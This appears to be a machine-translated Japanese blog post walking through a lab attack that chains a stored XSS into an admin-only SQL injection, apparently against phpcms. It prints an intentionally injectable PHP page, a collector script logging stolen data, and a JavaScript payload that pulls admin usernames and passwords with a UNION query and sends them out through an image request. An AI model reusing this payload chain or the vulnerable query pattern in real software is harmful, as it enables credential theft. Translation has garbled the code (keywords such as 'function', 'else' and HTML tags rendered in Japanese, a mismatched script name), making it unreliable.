昨日、phpcms v9.1.15 が xss と不正な SQL インジェクションを悪用していることを確認したので、xss を使用して SQL インジェクションを実行することをテストしたいと思いました。ただし、悪用された phpcms の脆弱性には他にも多くの用途があります。ただし、このインジェクションをテストするための phpcms v9.1.15 は見つかりませんでした。また、他のバージョンは正常にテストされませんでした。
したがって、私は次の極限環境を想像することしかできません:
1. フロントデスクに xss 脆弱性が 1 つだけあります (管理者 Cookie が取得できない)
2. バックグラウンドでの SQL インジェクション脆弱性は 1 つだけです (インジェクション脆弱性ファイルには管理者のみがアクセスできます)
3. 管理者パスワードを入力して復号化します
4. 上記以外に、他の脆弱性はありません (バックグラウンドの getwebshell を含む)
実際、私が言いたいのは、この xss はインジェクションを実行するためにのみ使用できるということです。
脆弱なコードの挿入をシミュレートします
-
sqli.php
01
02 @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING) // エラーは無視されました
03 $con = mysql_connect("localhost","root","");
04 if(!$con) {die('接続できませんでした: ' .mysql_error());}
05 mysql_select_db("テスト",$con);
06 $id = $_GET['xss'];
07 $sql = "select id,realname from test where id="."$id";
08 $view = mysql_query($sql);
09 $row = mysql_fetch_array($view);
10 echo $row[id]."
";
11 echo $row[実名]."
";
12 ?>
-
mysql データベース:
1 データベース:テスト
2 テーブル: テスト、管理者
3 列: test.id、test.realname
4 admin.id、admin.username、admin.password
-
get.php (取得されたインジェクション後のデータインターセプト)
1
2 $file = fopen("data.txt","a");
3 fwrite($file,$_GET['get']);
4 fclose($file);
5 ?>
-
xsssqli.js(ペイロード)
01 Function addLoadEvent(func)//複数の関数をロードするためのウィンドウが開きます
02 {
03 var oldfunc=window.onload; //ページはロードメソッドを使用して開かれます
04 if(typeof(window.onload)!="関数")
05 {
06 window.onload=func;
07 }
08 その他
09 {
10 window.onload=function()
11 {
12 oldfunc();
13 関数();
14 }
15 }
16 }
17 関数 get_xsssqli()
18 {
19 var url = "http://127.0.0.1/xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin";
20 var ajax = null;
21 if(window.XMLHttpRequest)
22 {
23 ajax = 新しい XMLHttpRequest();
24 }
25 else if(window.ActiveXObject)
26 {
27 ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6 およびそれ以前のバージョン
28 }
29 他
30 {
31 戻ります;
32 }
33 ajax.open("GET", url, true);
34 ajax.send(null);
35 ajax.onreadystatechange = function()
36 {
37 if(ajax.readyState == 4 && ajax.status == 200)
38 {
39 var img = document.createElement("img");
40 img.src = "http://127.0.0.1/xss/get.php?get="+ajax.responseText;
41 document.body.appendChild(img);
42 }
43 }
44 }
45 addLoadEvent(get_xsssqli);
-
xss 脆弱性をシミュレートします
1
2 <頭>
3 SQL に xss を使用
4
5
6 <スクリプト src=http://127.0.0.1/xss/get.js >
7